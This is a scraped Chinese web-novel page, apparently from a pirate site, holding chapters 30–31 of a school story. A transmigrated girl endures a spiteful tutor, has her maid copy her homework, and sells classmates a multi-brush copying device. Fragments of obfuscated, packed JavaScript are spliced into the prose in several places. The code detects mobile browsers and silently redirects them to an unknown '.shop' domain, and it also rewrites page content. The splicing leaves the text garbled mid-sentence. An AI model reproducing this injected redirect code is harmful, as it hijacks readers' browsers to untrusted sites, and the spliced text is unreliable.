35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145398|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 回答挑不出错处,齐先生哑口无言,只好让她坐下。 盛秋阑坐下之后,朝傅如珩悄悄拱一下手。 只是在这之后,齐先生好像就盯准了她,势必要揪出辫子来,无论是遇到了什么问题,总要让她来回答,盛秋阑就算想要睡觉也没有办法。 明眼人都能看出齐先生的针对,有些问题非常刁钻,已经不是他们这个年纪应该学到的,但是傅如珩却好像没有被难住,总是能够很快找出答案。 终于熬到这堂课下课,盛秋阑一把甩开面前的书:“你怎么什么都会,我还以为我今天一定要到后面去了。” 长孙胜在后面站了半天,正好听到了这句话:“这位新来的先生讲课实在是太催眠了,一点意思都没有。” 虽然他平常也不怎么听课,但是讲课方法的好坏还是能够听出来的,这门课原本是孙先生教的,讲解简单易懂,里面的知识却一点不缺,与现在简直是天壤之别。 虽然在科举之中文章结构也占了一部分,但也全然不是齐先生这种方式。 “难道之后都是他来教课吗?”长孙胜一想到今后的日子,就感觉眼前一片黑暗。 盛秋阑难得脸色不好,她望向讲堂门口,显然也因此郁闷。 “目前来看是这样。” 他们本以为到此就结束了,每日的最后一堂课基本为讲评或是布置任务,今天是齐先生进来,他洋洋洒洒布置了一堆任务:“按照今日所讲写一篇策论,行文结构需要按照范文,另外抄写文章十遍。” 今日所学的文章虽然不算长,但也有几百字,更何况还要写一篇策论,先前就算是旬假也没有过这么多的作业。 底下的人明显露出了不满的表情,齐先生手中依旧拿着戒尺,敲击桌子的声音清脆,一听就知道用了不小的力道,透过门板传到外面。 “谁有意见,再加五遍。” 本来就完不成,谁也不想在这个时候被加作业,一时之间底下小声的抱怨消失,只剩下毛笔与纸的摩擦声。 齐先生满意地看着自己创造出来的效果,就连盛秋阑也没有说话,在纸上抄写着。 今天照常来接自家少爷小姐的下人们发现了不对劲。 平常下学总是兴高采烈,今日脸上却是愁容,就算回家脸上也一点都没有欣喜之色。 盛秋阑虽然没有这明显,但是她一贯话多,今天却一言不发,就连中途路过了一条热闹的街道也没有再说下去看看。 碧云和迎春互相对视,都不知道发生了什么,但是盛秋阑不说她们自然不敢问,只能把疑问藏在心底。 马车照常在侍郎府门口停下了,不同的是,今天门口已经等着一个人。 盛秋阑下了马车,一眼就看到了来人。 傅如珩还是今日的装束,只有随身的书箧不见了,显然是一直等在这里。 “今日功课这么多,你不快点去写吗?” 傅如珩看了一眼落在盛秋阑后面、手里提着书箧的迎春:“那你呢?” “我当然也要写,不然明天先生肯定又有机会来找我麻烦了。”盛秋阑声音闷闷,显然兴致不高。 “你自己写吗?” “当然,不然还能够有谁帮我写。” 傅如珩终于说出来自己来的目的:“要不要给我一点。” 这个问题本想在下学的时候问,只是齐先生一直盯着不好说话,之后就一直没有找到机会,所以只能提前等在这里,直到盛秋阑回来。 “你自己不是也要写,再加上我这份,都不用睡觉了吧。”盛秋阑见傅如珩还想要说什么,直接接住了话头,“没事,我就算写不完也能找到人帮我,大不了明天被罚站。他今天没有找到机会,肯定不会放弃的,还不如早点让他发泄完。” 她对付这种人已经有经验了,齐先生一看就不会善罢甘休,就那副小心眼的样子,就算不是现在,之后肯定也会找茬下套。 盛秋阑摸透了其中的规律,一般的惩罚对她来说也不算什么,心情不好也只是因为想到了上辈子被那位政治老师折磨的回忆。 不过恶人自有恶报,那位老师之后没有好下场,这位齐先生相比也坚持不了多长时间。 更何况这一辈子她没有了升学的烦恼,背后也有人依靠,绝对不会再进入那么被动的局面了。 30. 捷径 虽然盛秋阑已经做好了心理准备,但是在晚上开始写作业的时候,还是没忍住把那位新来的齐先生狠狠骂了一顿:“怎么布置这么多作业。” 策论对她来说不算难,毕竟有上辈子写文章的经验,虽然格式上有所区别,但若是按照套路也能够很快解决。 盛秋阑洋洋洒洒写了两面,捉摸着现在这个年龄的水平,感觉到差不多之后就放下了,然后开着啃着笔头抄写文章。 她已经很久没有这样有模有样地写过作业,刚刚抄了三遍,拿着笔的右手很快就开始酸痛起来,已经写好的纸张在旁边堆了薄薄一叠,但是还剩下很多。 碧云拿着锦帕进来,看见还伏在桌子面前的盛秋阑:“小姐今日还没有写完功课吗?” 迎春小声地回答:“是啊。今天学堂布置的功课好像很多,小姐已经写了很久了。” 终于又写完一遍,盛秋阑抬起头,揉了揉手腕,感觉到肩膀都发出“嘎吱嘎吱”的骨头声,忍住在作业上面画圈圈的冲动。 外面已经黑下去了,按照平时应该是她洗漱的时间。殿前点着明亮的烛火,烛光映照在纸张上,照着宣纸上墨迹尚干的字。 旁边放着的写好的纸,如果说一开始上面的字还算娟秀,那么越到后面,笔迹就越来越豪放,像是自成一派。 盛秋阑已经控制不住笔画,手腕酸痛无力,再也支撑不了笔锋,只能隐约看出形态,她烦躁地换了一支更加细小的笔,重新蘸墨书写。 “小姐,时候不早了,功课还有多少?” 盛秋阑原本需要的睡眠时间就不短,如果是晚上再熬夜,明天肯定要起不来。 她指了指旁边的纸,怨念深重:“这些都要写完。” 看着旁边还剩下一半的纸,碧云有些无奈,但是学堂里面的功课也不是她能质疑的:“今日怎么会有这么多功课?” 这不就是一个告状的好时机吗? 盛秋阑在心里面憋了一股肚子怨气,正好有人问起来,她拿过一张纸,手上抄写着,一点都不耽误嘴上抱怨:“学堂里面新来了一个先生。” 她知道怎么说才能够最大引起疑惑,故意没有说完整,只留下似是似非的意思让人遐想,末了还假装无奈:”先生的话总是要听,只是今天要晚点睡了。” 她说着说着,一半是为了同情,一半是真的控制不住,打了一个哈欠,眼中的泪水把耀眼的烛光都变得模糊,眼前的字更是变得歪七扭八。 盛秋阑从小被大家宠着,虽然说去上学了,但也没有过这种倦怠的时候,哪次不是兴高采烈地回来,说着新认识的朋友或是学堂里发生的趣事。现在脸上不见了笑容,还要强撑着睡意写作业,怎么看怎么可怜。 但是碧云没有质疑的资格,她只能等在一边,尽可能让盛秋阑写得稍微舒服一点。 背后多了一个云锦靠枕,僵硬了半天的背终于有了可以靠的地方,盛秋阑伸了一个懒腰,手腕已经要酸痛得提不起来。 她写字的桌子正对着窗口,天上已经亮起了点点繁星,外头的屋子全都熄了灯光,唯有她这一间还亮着。 真是熟悉的感觉。 盛秋阑也算是体会到什么叫由俭入奢难,由奢入俭难。本来已经习惯了的生活,现在安安稳稳过了几年,反而不适应起来。 她实在是写不下去了,可怜巴巴地望向一旁的碧云:“碧云,你帮我写一点好不好?” 碧云从小看着盛秋阑长大,本来见她这个样子就心疼,听她撒娇更是完全拒绝不了:“好吧,那小姐给我张纸。” 盛秋阑抽出了一张纸给她,自己继续把剩下的写完。 两个人加起来,动作就快了很多,但是盛秋阑上床的时候,也已经是过了子时。 她强撑着意识爬上床,几乎是一沾上枕头就睡着了,碧云帮她把写完的纸放进书箧里面,防止她明早匆匆忙忙起床的时候忘记。 前一天晚上睡得太晚,第二天盛秋阑被叫起来的时候,脑子还是混沌的。她将头埋在被子当中,完全不愿意接受自己还要起床上学的事实。 早晨的阳光透过窗口照进来,碧云无奈地站在床边,第六遍叫她:“小姐,再不起真的要赶不上上学了。” 盛秋阑脑海中清醒和迷乱正在打架,大脑中有意识叫自己起来,但是身体却好像粘在了床上,半点要改变动作的意思都没有。 终于,她动了动手指,撑着自己的被子从床上坐起来,头顶的头发乱糟糟的,一双眼睛半睁不睁,好像下一秒就会重新躺回床上。 碧云没有给她这个机会,拿起衣服就往她头上套,盛秋阑浑身软塌塌的,几乎是被人架着穿好衣服。 洗完脸之后,她终于清醒了一点,看了一眼挂钟,慌忙往外面跑:“啊啊啊啊要来不及了。” 盛秋阑连早饭都没有来得及拿,还是迎春见机行事,给她塞了两个包子。 贺兰谨按照往常的时间坐在餐桌面前,但是迟迟看不见盛秋阑的身影,只有门口出现了对方身边跟着的贴身丫鬟。 她微蹙起眉,盛秋阑虽然平常有些懒惰的小性子,但是在有正事的时候却很少会迟到:“今日怎么起晚了?” 迎春行了礼:“报告夫人,昨日学堂的功课有些多,小姐写完已经是子时了。” 按照盛秋阑这个年纪,就算有功课也但不该写到这么晚,学堂里面的先生考虑到他们的休息,都会斟酌着布置。 “功课很多吗?” 迎春把昨日盛秋阑嘚啵嘚啵说的话复数了一遍,包括她所列举的一大堆作业,其中齐先生布置的占了大头。 盛秋阑坐在马车上,把包子囫囵吞下去,开始检查自己的书箧。 看着好好躺在最上面的作业,她长舒一口气。 还好还好,东西还在,不然要是写了半天结果发现没有带,那可真是冤大了。 昨天实在是困得迷糊,写完的时候只感觉一根弦彻底松下去,满脑子都是睡觉,根本想不起来还要把东西放进去,多亏了碧云心细。 前方驾马车的侍从也知道今天晚了,速度都快了很多,终于赶在迟到的最后一秒把盛秋阑送到了。 盛秋阑踏进讲堂时吓了一跳,哪里来这么多焉花朵。 原本早该到齐的讲堂现在空了好几个位置,就算已经坐在座位上的人也全部都是困顿的,垂着头趴在桌子上面。 这一幕差点让盛秋阑幻视自己高中走入教室的样子,那时候一下课就齐齐趴在座位上,如同某种集体指令,甚至不需要人指挥,动作整齐划一。 身后的走廊中传出走路的声音,盛秋阑赶紧回到自己的位置上,傅如珩倒是看起来如常,身后的长孙胜却早已经加入了睡觉的行列,趴在桌子上不省人事。 孙先生进来的时候见到的就是这样一幅景象。 这群小孩什么时候有过这种萎靡不振的情况,就算平时有些人会因为休息不足打瞌睡,也不至于如此大规模,更何况现在还是第一堂课。 他的目光扫过讲堂中间空着的位置,微蹙起眉,但还是什么都没有说,敲了敲讲桌。 敲击声让很多人被迫从桌子上面抬起头来,见先生已经来了,勉强振作了一点精神。 长孙胜同样被动静吵醒,迷迷糊糊地抬起眼,支起了上半身,只是没过一会儿又重新塌下去。 这一堂课上得不可谓不艰难,底下的人昏昏欲睡,就连提问都没有多少声音回答。中途进来了好几个迟到的人,头发杂乱,一看就是匆匆忙忙才赶到的。 孙先生原本还端着平和的笑脸,到后来都已经严肃起来,那些迟到的人灰溜溜地进入讲堂,坐在自己的位置上。 盛秋阑环顾一圈,见有人头一点一点的,就差趴到书本之间,还有一些人看起来很努力的想要让自己清醒,双手撑着眼皮,却依旧抵抗不了强大的睡意。 相比之下,她虽然也很困,但在课堂当中竟然已经算清醒了。 这一堂课在孙先生沉沉的声音之下结束,等不及先生走出讲堂,身边接二连三地趴下去,坐着的人鹤立鸡群,变得格外显眼。 长孙胜早上看起来好像下一秒就要栽倒,但是在课上睡了一觉之后,反而变得清醒,竟然也成为了这群白鹤中的一员。 他看着前面和身边始终没有倒下去的身影,感觉上天真是不公:“你们难道就不会困吗?” “有点,但是还好。”林辞殊眼下有一点微微的青色,状态看上去也没有前面几天好。 “昨天那个文章实在是太多了,我抄得手都酸了,就连吃饭都是匆匆忙忙的,结果还是子时才睡。” 听闻这话,旁边原本趴下去的人纷纷开口。 “是啊,我也抄了好久。” “原本很早就能做完功课的,结果昨天晚睡了一个时辰。” “对啊,还害得我被我爹娘怀疑在学校不好好学习,被先生罚抄了,好不容易才解释清楚。” “我今晨还迟到了,就是因为起晚了,还好孙先生没有因此责罚。” 一时之间讲堂里面怨载声不断,全都是对自己昨天晚上的控诉,堪比比惨大会。 在七嘴八舌之间,一刻钟的小休已经结束了,望见马上要进来的先生,每个人的眼中都盈着埋怨。 齐先生拿着书卷走进来,手边还是那一把不离身的戒尺。 “昨日的功课都写完了吗?” 底下稀稀拉拉传出应答,有气无力:“写完了。” “放在桌子上,我来一一点检。” 众人从书箧中拿出昨天熬夜写好的作业,有些纸张都已经皱巴巴了,不难看出写时的痛苦。 齐先生沿着过道顺序,从前往后清点,口中说着评价。 “字迹潦草,笔迹散漫。” “字句当中有疏漏,没有用心。” 不大不小的毛病全部都被指出来,就算找不出错处,也只能得到一个“姑且过关”的评价。 事儿精,盛秋阑默默在心里吐槽。 齐先生绕了一圈,终于走到了他们旁边,他先是看了看林辞殊的作业,略点一下头,颇为吝啬地说:“尚可。” 这在所有评价当中已经是最高级别,要知道过关的人也没多少。 看向长孙胜的作业时,原本渐缓的神色又皱起来:“潦草至极,重新誊抄三遍。” 长孙胜昨天本来就是赶工,自然顾不上质量,没想到今天还要被罚,他生了满肚子气,但是怕之后还要被罚,只能憋在心里。 身后的脚步渐渐靠近,与昨日同样的青色长衫走到身边。 盛秋阑的作业就放在桌角,齐先生早就已经想过来了,故作高深地评价了一圈,终于轮到了这里。 他看也没有看一旁傅如珩的作业,右手干瘦,上面布着青筋和粗糙的纹路,抓起盛秋阑的纸,一张张翻下去。 放在最上面的几张字迹还算端正,越往后越发潦草,只能勉强看出样子。 齐先生草草翻了几张,“啪”地一下把这一叠纸排在盛秋阑桌子上:“态度不端,重新抄十遍。” 对比起来,这已经是最严重的惩罚了,背后明显带着私愤。 似是因为昨天的事情心有余悸,盛秋阑还没有说话,齐先生就睁着一双眼睛看着他,原本不大的眯眯眼硬是做出了铜铃般的效果,周围一圈眼白:“有意见吗?” 盛秋阑早就知道会有这一遭,理了理散乱的纸张:“没有。” 心中郁结终于松快了一些,齐先生整了整衣襟,又开始检查前面几人的作业。 他这一番已经浪费了不少时间,等到全部点评完,才迟迟站在讲台前,又开始像昨天一般讲解那些生僻无用的内容。 盛秋阑还在检查自己昨天晚上写的东西,刚才点评的时候齐先生没有做记号,意味着可以二次利用。 这张写的可以,这张也还行。 这个字怎么不像她的,哦应该是碧云抄的。不行,下次还要让她模仿一下自己的笔迹,不然很容易被发现。 熬了夜写的作业被批斗一番,几人本来就有怨气,只是情绪还没有表现出来,就被台上讲的内容催眠得昏昏欲睡,相比起昨天更是有过之无不及。 齐先生今天终于找到了盛秋阑的小辫子,正是激情得意之时,见此景象,更是毫无留情地把人点起来。 “课堂上昏昏沉沉,全都到后面清醒一下。” 椅子腿划过地板,发出刺耳的声音,听着这个动静也能知道当事人心中的烦躁。 本就是从小锦衣玉食长大,虽然在父母逼迫下来学堂读书,但是终究没有吃过什么苦,被接二连三的插曲打搅,就算是泥人都有了脾气,更何况他们。 盛秋阑默默判断着现在局势,就是不知道是谁先忍不住。 她忙里偷闲,此时已经拿出了新的纸张,在书本的遮掩下开始完成抄写作业了。 又摸完了一遍,盛秋阑抬头看了看转身正在黑板上写字的先生,用胳膊肘撞了撞傅如珩,用气音说:“你反正也不听课,快来帮我写。” 后者把眼神从前面收回来,递给她一个疑惑的眼神。 “别装了,我还不知道你吗,明明就没有听。” 盛秋阑塞给他三张纸,重新开始写新的一遍:“快点,我们争取在下课之前写完。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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傅如珩打开纸条:你昨天什么时候睡的,怎么一点都不困。 他提笔写下:子时,我才不像你,觉少。 其实盛秋阑已经算是睡得早了,毕竟有碧云在一边陪她抄,若是自己认认真真抄下来,还需要用更长时间, 传过来的纸条上面简洁明了,甚至能够脑补出傅如珩的语气。 盛秋阑一贯把这种说话方式称为装逼。 不过看在刚刚帮她完成作业的份上,她还是忍下了心中的吐槽。 纸条上面的话题转的很快:你说这位齐先生能够坚持多久? 她对同窗们的情绪感知敏感,傅如珩自然也能够看出来,但是他没有这么乐观。 傅如珩:应该还需要一段时间。 先不论学堂能不能这么快再找到一位合适的先生,这才两天,自然不可能因为他们的一面言论把他劝退。 这个结论和盛秋阑预估的一样,只是看到的时候她还是有些失望地叹了一口气。 也不知道昨天她都已经表现得这么明显了,有没有人能够看懂其中的意思,在不经意间让她娘亲知道目前的“惨状”。 虽然如果是盛秋阑自己去告状,贺兰谨也肯定会重视,但是终究没有他人转述那么有可信度一点。 台上的人终于意犹未尽地住了嘴,他今日没有再等到最后一节课,而是直接布置了功课,任务量与昨天基本一致。联想到自己昨天晚上的样子,众人纷纷面露苦色。 难道以后天天都要这样吗? 在这种压抑的气愤之下,只要有人先开头,自然能够引起群起激愤。 “这齐先生布置的功课实在是太多了。” “就是就是,今日还说我字迹潦草。” “我每天晚上都不够睡。” 盛秋阑昨日的行为大家都看在眼里,但是就在大家讨论的时候,她却显得很沉默。 长孙胜跟着抱怨了几句,发现了这一点异常:“你怎么不说话?” 盛秋阑写着东西,头也没有抬:“骂他两句又听不到,还不如趁着这个时间早点抄完,晚上还能够多写一点。” “说的也是,但是总是想要发泄一下,这位齐先生真是看他就不爽,”长孙胜今日和昨日都被害得不轻,怨气一点都不比其他人少,“今日还要重新抄三遍,写得快些又说字迹不端正,要是又能够快点抄完的法子就好了。” 快点抄完的办法? 盛秋阑眼前一亮,顾不上跟他说话,从自己带来的笔中又抽出一支较为短小的毛笔,拿出两根橡皮筋。 其他人不知道她想要干什么,愣愣地看着。 盛秋阑把那只新的毛笔横过来,对着纸张比划了一会儿,咬着橡皮筋的一边,另一手快速地在两根笔之间绕着圈,把他们牢牢地捆在了一起。另一端的笔头也是同样的方法,直到三支笔呈现一个“冂”型。 其他人见她动作迅速地把笔捆在一起,三支笔的体积庞大,非常显眼。 “你这是在干什么?”长孙胜摸不着头脑。 傅如珩眸光一闪,已经明白了盛秋阑的想法。 盛秋阑已经拿过两张纸开始演示了,毛笔有一些不好控制,中间又隔着那么长的距离,一开始两边的字有一些歪歪扭扭,但在写了一行之后,她已经掌握好了力道,两张纸上几乎变得一样了。 “怎么样?”盛秋阑把两张纸拿起来,右手边的字一开始还歪歪扭扭,像在上面爬,到后来就变得工整起来。 长孙胜满眼放光:“太厉害了,帮我也做一个吧。” 他今天可是要写整整十三张,要是靠自己手写,估计又睡不成觉了。 盛秋阑倒是想做,只不过她没有这么多皮筋,仅剩的两个全部都在手里了。 林辞殊在自己的口袋里摸了一把,又找出来几个。 “我这边还有。” 长孙胜如获至宝,毕恭毕敬的把两根皮筋放在手心里递到盛秋阑面前,像是对待某种稀奇物件:“小的孝敬您的。” 他还不忘这是谁给的,对林辞殊说:“下次我带你到集市上去,看中哪个都给你买,这个就先给我了。” 盛秋阑二话没说,有了第一次的经验,第二把她做得很快。 “你们要不要?” 傅如珩有些嫌弃地看着搁在桌子上面的大型毛笔一眼,想象了一下自己拿着笔抄写的样子,觉得实在太傻了:“不……” 话还没说完,盛秋阑已经把笔搁在了他面前:“跟我客气啥啊。” 林辞殊倒是没有拒绝,毕竟谁也不想再熬到那么晚,就为了写重复机械的功课。 盛秋阑在短短几分钟之内就做完了四把,拍拍手心:“好了。” 她一抬头,正对上了周围一圈热烈的眼神,眼中冒着光,看上去像是要把她吃了。 盛秋阑被夹在中间显得弱小可怜:??? 其中一人开口:“能不能给我们也做一个?” 31. 翻盘爽文 这群小崽子表面上在互相玩闹,实际早就注意到了这边的动静,毕竟盛秋阑手上的毛笔实在是太过显眼,让人想看不见都不行,尤其是后来演示的那张纸,更是让他们心动不已。 谁不想拥有一个能够一下子写双份作业的法宝呢? 于是在盛秋阑埋头做东西的时候,原本分布在讲堂各处的人已经悄无声息地朝着这个方向移动,逐渐形成一个包围圈,把四人桌给圈起来。 有了最开始的人开口,其他人生怕自己被落下了,七嘴八舌地应道:“我们也想要。” 盛秋阑什么时候遇到过这种待遇,如同众星捧月,只是周围的人实在是太多了,如果一把一把做下来,就不是一会会儿能解决的了。 似是看见了她眼中的犹豫,他们生怕盛秋阑会拒绝:“我们自己有笔,也有皮筋,或者想要别的东西都可以。” 说话的几人眼下都带着偌大的黑眼圈,回想到自己昨天晚上的惨状,甚至都快要哭出来了。 “我真的不想要再写这么晚了。” 盛秋阑听到了某个关键词,眼睛一亮,原本的犹豫也被狡黠替代。 她装作为难地说:“哎,毕竟我们也是同窗,虽然相处时间不长,但还是有感情的。” 其他几个人听到她这么说,猛猛点头:“是啊是啊。” 傅如珩原本坐在座位上,快要被周围的声响吵得头脑发昏,静静地看着盛秋阑面不改色地说话,想看看她又要放什么屁。 “只是……”盛秋阑故意停顿了两秒,看着原本附和的人眼睛都睁大了。 哈哈,实在是太好玩了。 她努力憋住笑,不然要是破功了就前功尽弃了。 “可是这是我自己发明出来的,而且做这个看起来容易,其实一点也不n……简单。” 盛秋阑紧急改口,差点说漏嘴了。 她笑眯眯道:“所以我收点报酬也不过分吧。” 最后一句才是真实目的。 其他人早已经被唬得一愣一愣的,现在自然是盛秋阑说什么他们就应什么。 其中一个人小心翼翼地开口:“那需要多少呢?” 盛秋阑笑眯眯地张开五根手指:“看在你们是我同窗的面子上,我要的也不多,原本需要五两银子,现在只需要一两。” 她算了一下,这个年纪手上肯定没有多少钱,但总归家底丰厚,寻常人家看来的高昂价格,对于他们来说也不算多。这个价格不至于让人怯退,但是那么多人加起来,也是个不小的数目。 盛秋阑预估的没错,听到数目之后,果然有人爽快交了钱。 “这是我的笔和皮筋,还有钱。” 盛秋阑摸着手上沉甸甸的银子,脸都快要笑裂了,拿着钱不好工作,她示意一旁的傅如珩把钱接过去。 “你们都交到这边来吧,在纸上面登记名字,我会一一制作的。” 一时之间,傅如珩原本空荡荡的座位上顿时挤满了人,甚至自发性地排起了队,一手交钱一手登记,还不忘把材料也摆在旁边。 听着耳边不断增加的铜钱声音,盛秋阑脸上的笑容根本抑制不住。 这完全就是无本买卖啊! 对不起了她的同学们,毕竟是要早早开始养家的人,不过看他们如此爽快的样子,想必口袋里面还有富余,拿出一点也没关系。 她快速地做完一把,还不忘招呼:“你的好了。” 讲堂当中呈现一个奇特的景观,盛秋阑和傅如珩的桌子两边都站着人,秩序井然。傅如珩的桌子上已经摆着好几堆的银子,甚至还有金子,是身上没有带银子的人财大气粗给的。 长孙胜在后面看得叹为观止,哪怕自己从小生活在商贾家里都没有如此赚钱头脑。就在短短几分钟之内,几乎全班人都交了钱,各色的笔摆了一桌。 “大家不要急,我都会做的,诚信经营。”盛秋阑的手快得几乎要翻出花来,口中还不忘安抚。 排队的人渐渐减少,拿到笔的人个个都兴高采烈地回到自己位置上,迫不及待地想要尝试自己的新工具,放眼望去,几乎人人都有了一支巨型毛笔。 终于,桌子上的笔只剩下寥寥几只,盛秋阑说得口干舌燥,手也因为重复性的动作开始变酸,动作慢了一些,但总归把剩下的全部完成了。 送走了最后一位“顾客”,她直接靠在椅子背上,重重地叹了一口气:“累死我了。” 还没有休息几秒钟,盛秋阑猛地坐起来,对着一旁的傅如珩说:“快给我看看我们今天赚了多少?” 桌子上原本摆着的银子已经全部装到了荷包里面,用针线绣成的荷包鼓鼓囊囊的,从外面都能看出里面装了不少银子。 盛秋阑打开荷包的口子,一下子就被面前满满当当的银子惊讶到了。 虽然知道班中的人很多,刚才也累了个够呛,但是没想到加起来竟然有这么多。 她伸手往荷包里面捞了一把,银子硌在手心,也完全不觉得难受,手心当中沉甸甸的,顿时感觉腰不酸了手不疼了,全身都好起来了。 这可都是钱啊! 看着一片银光当中的几点金色,盛秋阑脸上的笑容更大了,光是这一袋子,就足够他们去醉柳楼里面吃好几顿的。 真是小看了她这些同窗,现在看来真是个个有钱啊。 她从钱袋子里面抓了一把放在傅如珩的桌前:“这是你刚刚帮我记账的报酬。” 生怕傅如珩不收,盛秋阑把银子拿出来之后就把荷包牢牢地系紧了,没有给傅如珩还回来的机会。 刚刚这群人出手大方,让她突然回想起自己在大街上看见傅如珩口袋里面零星几个铜板的样子。明明同样出身不凡,每个月得来的钱却只有这么点。 也不知道上辈子是怎么过的,估计到最后也只能勉强维持生计,就算是这样还要被家族连累。 盛秋阑联想起原书的内容,干劲满满。 这一次有她在,绝对不会让傅如珩这么惨了。 只是这种方法用个一两次还好,次数再多,其他人也能找到其中的诀窍,毕竟毛笔的制作并不难,仔细研究一下就能复原,所以还需要寻找别的赚钱方法。 做什么呢? 直到被齐先生叫起来,盛秋阑还在琢磨着这个问题。 今天大家的状态都比昨日要好不少,上课的时候也少有人打瞌睡,相比起昨天做到后来大家都开始放飞自我了,有了盛秋阑昨天的道具,作业也工整了很多。 今日花在检查上面的时间少了很多,齐先生站在台上环顾一圈,盛秋阑明显不在状态的样子立马就引起了他的注意。 “我刚刚讲了什么?” 盛秋阑连在讲哪篇文章都不知道,自然回答不出问题。 她昨天发明的抄写神器帮助了不少人,今天重新恢复了神清气爽,他们自然也记得盛秋阑的功劳,见她被叫起来,旁边的人纷纷在底下小声的说着答案。只是他们距离太远,盛秋阑只能看见他们的口型,却分不清其中的内容。 傅如珩倒是想要帮她,早在先生叫起来的时候就已经偷偷说了答案,只是盛秋阑在神游当中没有听到。 他凑近旁边的人,还想要再说一遍,却被台上的齐先生发现了端倪。 他冷笑一声:“你倒是人缘颇佳,答个题竟有如此多人相助,既然如此,二人都到后面去思过。” 盛秋阑皱了皱眉,她自己开小差到后面挨罚没有怨言,只是没想到会把傅如珩也拉下水。 正想要据理力争,傅如珩已经先行拿着书站到后面去了。 盛秋阑恨铁不成钢地看了他一眼,也拿上书噔噔噔站在他旁边。 终于找到理由把人惩罚一通,齐先生神清气爽,讲课的声音都大了起来,故意忽略后面两个人:“其余人请看下段。” 这个年纪最是看重面子,他自以为能够让盛秋阑长个教训,没想到却正中她下怀。 盛秋阑见台上的人没有注意到他们,把书本掩在自己嘴巴面前:“你干嘛跟我到后面去,我本来都要跟他开始吵架了。” 傅如珩一看到盛秋阑的样子就知道她想要干什么,也是因此才会先行动。 “先生本就看你不顺眼,今日若是再顶嘴,今后岂不是更加难受?” 盛秋阑才不会在意这些小绊子,在她看来这些都是早已经玩剩下的:“反正都已经这样了,再讨厌我一点又如何?倒是你,明明没干什么,就是不应该挨罚。” 她最讨厌的就是连坐制度,更何况事情发生在朋友身上。 对于傅如珩来说挨不挨罚无所谓,而且盛秋阑在后面,平心而论,他更愿意一起站在后面。只是女孩现在气鼓鼓的样子实在可爱,眼睛里面闪烁的怒火让这个人更加鲜活,知道这是因为自己,傅如珩心中不知为何更加愉快起来。 盛秋阑还在一边真情实感的想要替傅如珩讨回公道,一根手指戳在了她的脸颊上,气顿时消了一半。 “喂,我在替你打抱不平呢,你在干什么?” “行了,别气了,为了这种人不值当。”傅如珩放下手,“不然你把我当做先生骂两句?” 她才不会干这么幼稚的事情。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178020|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 盛秋阑没有理傅如珩哄小孩似的提议,垂下眼盯着自己的脚尖看了一会儿,突然兴奋地拍了拍旁边的人。 左手突然受到猛烈打击的傅如珩:…… “怎么了?” “你真是出了个好主意。” 虽然联合前面的对话,傅如珩并不觉得盛秋阑将会说出什么好事,但总归把人的注意力转移了,他顺着话问下去。 “你想干什么?” 盛秋阑为了自己心中的想法激动了半天,神秘兮兮地凑近:“你觉得班上的人对齐先生的意见大不大?” 这个问题他们昨天就已经讨论过了,虽然觉得齐先生一时半会儿离不开学堂,但是班上同窗们对他的意见可不小,光是这两天的作业就已经得罪透了。 “挺大的。” “那你说他们想不想看先生倒霉?” 傅如珩闻言先看了台上的人一眼,见没有注意到这个方向,才开始回答。 “就在这里说,小心被发现了。你不会是想……” 盛秋阑一看他的样子就知道傅如珩想偏了:“当然不是,我要是真的去搞恶作剧,被发现了后果可不是罚站了,我才不会这么傻。” 傅如珩充满怀疑地瞥了她一眼:“你想做什么?” “嘿嘿,实际上行动不了,我嘴上还不能说说吗?”盛秋阑一副看破事实的样子。 “赚钱最重要的就是要抓住当下的热点,把握住他们最关心的部分。就算不能真的看人倒霉,想象一下也可以。” 盛秋阑这句话说完,当真乖乖站好了,头低着看翻开的书本,实际思维已经不知道飘到哪里去了。 傅如珩虽然不清楚她想要干什么,但也没有过多阻止,总归到了最后他都能知道。 盛秋阑只需要做她想做的,其余的都交给他。 齐先生在台上讲得激情澎湃,等到快要下课的时候才终于分出眼神给后面,见盛秋阑真的如他命令的那样乖乖站在原地,心中一阵畅快。 就算原本再嚣张又能如何?不还是要听话。 先生一走出去,压抑了整堂课的讲堂终于开始沸腾起来。众人纷纷像解放了的鸟,叽叽喳喳地开始讲话,半点没有刚才无精打采的样子。 盛秋阑一回到作业就开始用笔在纸上谢谢什么,就算旁边有人想要搭话也找不到机会。 傅如珩随意瞥了一眼,在纸上看见了某个熟悉的名字,好似有些困惑地眨了一下眼睛:“这就是你说的赚钱方法?” 盛秋阑笔下如飞,比刚才抄写的时候更快一些,嘴上还不忘回答:“当然,你等着瞧吧。” 她难得安安静静地在座位上做了整整一节课,就算有纸条传过来也不为所动,别人见状也不敢打扰她,直到中午休息,盛秋阑才终于从课桌面抬起头来,手里抓着慢慢五页的掷,上面的用小字密密麻麻地写满了。 “完成了。” 傅如珩坐在旁边,看着他写完了全程,这个时候终于有空询问:“写了什么?” 盛秋阑对自己的成果非常满意,虽然来到这个世界之后一直在玩,有好几年没有写小说了,但是重操旧业对她来说难度不是很大,更何况现在灵感如泉涌,速度更是快了不少。 “给你看看,这只是第一章,到时候看看反响如何再定后续。” 傅如珩结果纸张,低头翻阅起来,越看他越沉默,脸上露出了舒爽和犹疑交加的表情,终于等到他看完全部,盛秋阑迫不及待地问。 “怎么样?” 